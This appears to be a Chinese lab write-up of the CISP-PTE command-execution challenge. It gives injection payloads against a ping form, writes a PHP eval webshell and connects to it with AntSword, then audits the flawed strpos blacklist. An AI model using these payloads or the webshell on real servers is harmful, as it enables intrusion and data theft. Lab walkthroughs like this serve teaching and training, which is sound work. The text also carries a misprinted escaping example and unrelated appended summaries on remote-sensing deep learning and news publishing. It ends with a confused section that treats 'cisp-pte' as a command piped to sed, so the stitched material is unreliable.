CISP-PTE 命令执行1

目录

一、渗透实战

1、打开靶场

2、命令执行获取flag

(1)查看当前目录

(2)查看上一层目录

(3)执行查看flag命令

(4)右键元素查看flag

(5)右键源码查看flag

3、写入木马

(1)第一部分:ping 127.0.0.1

(2)第二部分:echo -e " ">mooyuan.php

(3)为何要加入\转义符

4、浏览器hackbar访问

5、蚁剑工具访问

6、蚁剑工具获取flag

二、源码分析

1、查看fu1.php源码

2、查看function.php源码

3、代码审计


本文详细讲解CISP-PTE靶场命令执行关卡渗透实战全流程。通过分析靶场页面提示,利用Linux命令注入漏洞,先后完成目录遍历、flag获取和木马写入操作。重点演示了如何构造Payload绕过过滤机制,包括使用分号分隔命令、转义特殊字符等技巧。随后使用蚁剑工具成功连接Webshell并获取flag。源码审计部分揭示了关键漏洞:filter函数因错误使用strpos返回值判断导致黑名单过滤完全失效,致使系统可直接执行任意命令。该案例完整呈现了从漏洞发现到利用的全过程,并分析了代码层面的安全缺陷。

一、渗透实战

1、打开靶场

打开靶场,页面提示“  命令执行是指攻击者通过浏览器或者其他客户端软件提交一些cmd命令(或者bash命令)至服务器程序,服务器程序通过system、eval、exec等函数直接或者间接地调用cmd.exe执行攻击者提交的命令。    通过你所学到的知识,通过执行Linux命令获取webshell,答案就在根目录下key.php文件中。    请开始答题!”

http://9adba4d9.clsadp.com/

点击进入答题,如下所示进入到如下“验证主机是否存活”的页面。

http://9adba4d9.clsadp.com/vulnerabilities/fu1.php

2、命令执行获取flag

(1)查看当前目录

127.0.0.1&ls

输出信息为:footer.php fu1.php function.php index.php nav1.php nav1.php

(2)查看上一层目录

根据当前URL:http://9adba4d9.clsadp.com/vulnerabilities/fu1.php,可知当前fu.php在根目录的vulnerabilities文件夹中,故而上一层目录就是网站根目录,/var/www/html

127.0.0.1&ls ..

输出结果为:css fonts footer.php index.php js key.php nav.php vulnerabilities

接下来我们尝试直接访问网站根目录,payload:127.0.0.1&ls /var/www/html

输出结果与ls ..一致:css fonts footer.php index.php js key.php nav.php vulnerabilities

(3)执行查看flag命令

接下来使用cat ../key.php查看key文件,如下所示页面输出“Get it”。

127.0.0.1&cat ../key.php

(4)右键元素查看flag

右键元素查看flag,如下所示。

(5)右键源码查看flag

右键源码查看flag,如下所示。

3、写入木马

执行echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php命令生成木马,完整组合后的Payload如下所示。

127.0.0.1;echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php

(1)第一部分:ping 127.0.0.1

  • 执行正常的ping命令,ping回环地址

  • 目的是伪装和混淆,让命令看起来像正常的网络诊断

(2)第二部分:echo -e "<?php @eval(\$_POST[ljn]);?>">mooyuan.php

  • echo -e - 启用转义字符解释

  • <?php @eval(\$_POST[ljn]);?> - 一句话木马代码

  • >mooyuan.php - 输出重定向,创建mooyuan.php文件

(3)为何要加入\转义符

  • 防止变量提前展开

在Shell环境中,$符号用于变量引用:

# 如果没有转义,Shell会尝试解析$_POST
echo "<?php @eval($_POST[ljn]);?>"  # Shell会寻找$_POST变量(不存在)
  • 确保PHP代码完整性

通过转义\$,确保$_POST这个PHP变量名原样写入文件:

# 转义后
echo "<?php @eval(\$_POST[ljn]);?>"  # 输出:<?php @eval($_POST[ljn);?>

# 未转义(错误)
echo "<?php @eval($_POST[ljn]);?>"   # 输出:<?php @eval([ljn]);?> (变量被展开为空)

4、浏览器hackbar访问

http://8fe110c0.clsadp.com/mooyuan3.php
ljn=phpinfo();

5、蚁剑工具访问

http://9adba4d9.clsadp.com/vulnerabilities/mooyuan.php
密码ljn

6、蚁剑工具获取flag

/var/www/html/key.php

二、源码分析

1、查看fu1.php源码

打开/var/www/html/vulnerabilities/fu1.php源码文件,内容如下所示。

代码实现了一个存在安全漏洞的主机存活检测功能,通过POST表单接收用户输入的cmd参数并调用filter函数进行安全检查。如果filter返回true则使用system函数执行ping -c 1 $cmd命令来检测目标主机连通性,否则显示"敏感字符"错误提示。然而代码存在严重安全隐患:直接将未经充分过滤的用户输入拼接进系统命令,且依赖的filter函数存在逻辑缺陷(错误使用strpos返回值判断),导致黑名单过滤机制失效。攻击者可通过分号、管道符等实现命令注入,执行任意系统指令,属于典型的命令执行漏洞场景,严重威胁服务器安全。完整源码如下所示。


<!DOCTYPE html>
<html>
  <head>
    <meta charset="gb2312">
    <title>CISP-PTE 认证考试</title>
    <link rel="stylesheet" href="../css/materialize.min.css">

  </head>
  <body>
<div class="container">

  <?php error_reporting(0); ?>

<!-- Navbar goes here -->

   <!-- Page Layout here -->
   <div class="row">

     <div class="col s3">
       <?php 
     		include("nav1.php"); 
         	
         	include("function.php"); 
         ?>
     </div>

     <div class="col s9">
       <h5>基础题目之命令执行</h5>
       <b>描述</b>
       <p>请开始答题</p>
       <div class="card  teal lighten-1">
            <div class="card-content white-text">
              <span class="card-title">验证主机是否存活</span>
              
              <form method=POST enctype="multipart/form-data" action="">
                      <input type="text" name="cmd">
                      <input type=submit value="提交"></form>

            </div>
            <div class="card-action">
            	
                 <?php 
                 	 
                 	 $cmd = $_POST["cmd"];
                 	 
                 	 if (filter($cmd))
                 	 {
                 	 	echo system("ping -c 1 $cmd"); 
                 	 }
                 	 else
                 	 {
                 	 	 echo "你输入的命令包含敏感字符!请检查命令是否填写正确!";
                 	 }
                  ?>
                 	 
            </div>
          </div>

     </div>

   </div>

</div>
		 <p align="center"><?php include("footer.php"); ?> </p>
  </body>
</html>

2、查看function.php源码

打开/var/www/html/vulnerabilities/function.php源码文件分析filter函数,如下所示。

3、代码审计

这段PHP代码设计了一个命令安全过滤函数,通过预定义的黑名单数组(包含lsechocatmoresortvi6个常见系统命令)对用户输入命令进行安全检查。函数使用strpos遍历检测输入内容是否包含危险命令关键词,发现则返回false拒绝执行,否则返回true允许通过。然而该代码存在严重逻辑缺陷:strpos函数返回的是位置索引或false,而条件判断误用"=== true"使得过滤机制完全失效,因为strpos永远不会返回布尔值true。正确的写法应使用"!== false"进行检测,此错误导致黑名单过滤功能无效,无法实际防护命令注入攻击,属于典型的安全代码实现缺陷。注释后的源码如下所示。

<?php

/**
 * 命令过滤函数
 * 功能:检查输入命令是否包含危险命令,实现安全过滤
 */
function filter($cmd)
{
	// 定义危险命令黑名单数组
	// 包含常见的文件操作和系统命令
	$cmdarrays = array("ls", "echo", "cat", "more", "sort", "vi");
	
	// 遍历黑名单数组,检查输入命令是否包含危险命令
	foreach ($cmdarrays as &$value )
	{
		// 使用strpos检查命令字符串中是否包含黑名单词汇
		// 注意:这里使用了=== true,但strpos返回的是位置索引或false
		// 这实际上是一个逻辑错误,应该使用!== false
		if (strpos($cmd, $value) === true)
		{
			return false;  // 检测到危险命令,返回false拒绝执行
		}
	}
	return true;  // 未检测到危险命令,返回true允许执行
}
	
?>

关键漏洞:第11行的条件判断 === true 是错误的,因为:

  • strpos() 返回找到字符串的位置(0,1,2...)或 false

  • 应该使用 !== false 来检查是否找到

  • 当前代码实际上永远不会触发过滤,因为strpos永远不会返回true

正确写法

if (strpos($cmd, $value) !== false)
{
    return false;
}

这个看似简单的语法错误使得整个安全过滤机制完全失效,体现了安全代码中细节的重要性。

内容概要:本文介绍了ENVI Deep Learning V1.0的操作教程,重点讲解了如何利用ENVI软件进行深度学习模型的训练与应用,以实现遥感图像中特定目标(如集装箱)的自动提取。教程涵盖了从数据准备、标签图像创建、模型初始化与训练,到执行分类及结果优化的完整流程,并介绍了精度评价与通过ENVI Modeler实现一键化建模的方法。系统基于TensorFlow框架,采用ENVINet5(U-Net变体)架构,支持通过点、线、面ROI或分类图生成标签数据,适用于多/高光谱影像的单一类别特征提取。; 适合人群:具备遥感图像处理基础,熟悉ENVI软件操作,从事地理信息、测绘、环境监测等相关领域的技术人员或研究人员,尤其是希望将深度学习技术应用于遥感目标识别的初学者与实践者。; 使用场景及目标:①在遥感影像中自动识别和提取特定地物目标(如车辆、建筑、道路、集装箱等);②掌握ENVI环境下深度学习模型的训练流程与关键参数设置(如Patch Size、Epochs、Class Weight等);③通过模型调优与结果反馈提升分类精度,实现高效自动化信息提取。; 阅读建议:建议结合实际遥感项目边学边练,重点关注标签数据制作、模型参数配置与结果后处理环节,充分利用ENVI Modeler进行自动化建模与参数优化,同时注意软硬件环境(特别是NVIDIA GPU)的配置要求以保障训练效率。
内容概要:本文系统阐述了企业新闻发稿在生成式引擎优化(GEO)时代下的全渠道策略与效果评估体系,涵盖当前企业传播面临的预算、资源、内容与效果评估四大挑战,并深入分析2025年新闻发稿行业五大趋势,包括AI驱动的智能化转型、精准化传播、首发内容价值提升、内容资产化及数据可视化。文章重点解析央媒、地方官媒、综合门户和自媒体四类媒体资源的特性、传播优势与发稿策略,提出基于内容适配性、时间节奏、话题设计的策略制定方法,并构建涵盖品牌价值、销售转化与GEO优化的多维评估框架。此外,结合“传声港”工具实操指南,提供AI智能投放、效果监测、自媒体管理与舆情应对的全流程解决方案,并针对科技、消费、B2B、区域品牌四大行业推出定制化发稿方案。; 适合人群:企业市场/公关负责人、品牌传播管理者、数字营销从业者及中小企业决策者,具备一定媒体传播经验并希望提升发稿效率与ROI的专业人士。; 使用场景及目标:①制定科学的新闻发稿策略,实现从“流量思维”向“价值思维”转型;②构建央媒定调、门户扩散、自媒体互动的立体化传播矩阵;③利用AI工具实现精准投放与GEO优化,提升品牌在AI搜索中的权威性与可见性;④通过数据驱动评估体系量化品牌影响力与销售转化效果。; 阅读建议:建议结合文中提供的实操清单、案例分析与工具指南进行系统学习,重点关注媒体适配性策略与GEO评估指标,在实际发稿中分阶段试点“AI+全渠道”组合策略,并定期复盘优化,以实现品牌传播的长期复利效应。
### 使用 CISP-PTE 结合 `sed` 查看目录列表 为了通过 `cisp-pte` 命令并结合 `sed` 来查看目录列表,可以采用如下方法: 在 Linux 或 Unix 类操作系统中,通常会使用诸如 `ls` 这样的命令来列出当前工作目录下的文件和子目录的信息。如果想要进一步处理这些信息,则可以通过管道符 `|` 将其传递给其他工具如 `sed`。 具体来说,要实现这一目的可构建这样的指令序列:先调用能够显示所需路径下内容的适当命令;接着利用管道机制把前者产生的输出导向至字符串编辑器 `sed` 中做特定模式匹配或者替换操作[^1]。 例如,假设存在一个名为 `cisp-pte` 的自定义脚本或程序用于获取某些特殊条件下的项目结构概览,那么完整的命令可能是这样形式的: ```bash cisp-pte | sed 's/旧字符串/新字符串/' ``` 这里需要注意的是实际应用中的 `cisp-pte` 可能并不是标准 shell 内置命令而是某个上下文中特指的应用接口,因此确切语法取决于该命令的具体行为与参数设计[^2]。 另外关于如何更灵活地控制展示效果以及针对不同场景调整过滤规则等内容,则需参照官方文档或是已有案例来进行深入理解[^3]。 #### 示例代码 下面给出一段简单的 bash 脚本来演示上述过程: ```bash #!/bin/bash # 假设 cisp-pte 是一个有效的外部命令,它返回一系列条目 output=$(cisp-pte) # 使用 sed 对输出进行加工处理,比如去除空白行或将所有大写字母转换成小写 processed_output=$(echo "$output" | sed '/^$/d' | tr '[:upper:]' '[:lower:]') # 输出最终结果 echo "${processed_output}" ``` 此段脚本首先执行了假定存在的 `cisp-pte` 操作以获得原始数据流,之后借助于 `sed` 和 `tr` 实用了基本的文字变换功能——删除空行并将所有的字母转为小写以便后续分析或呈现。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值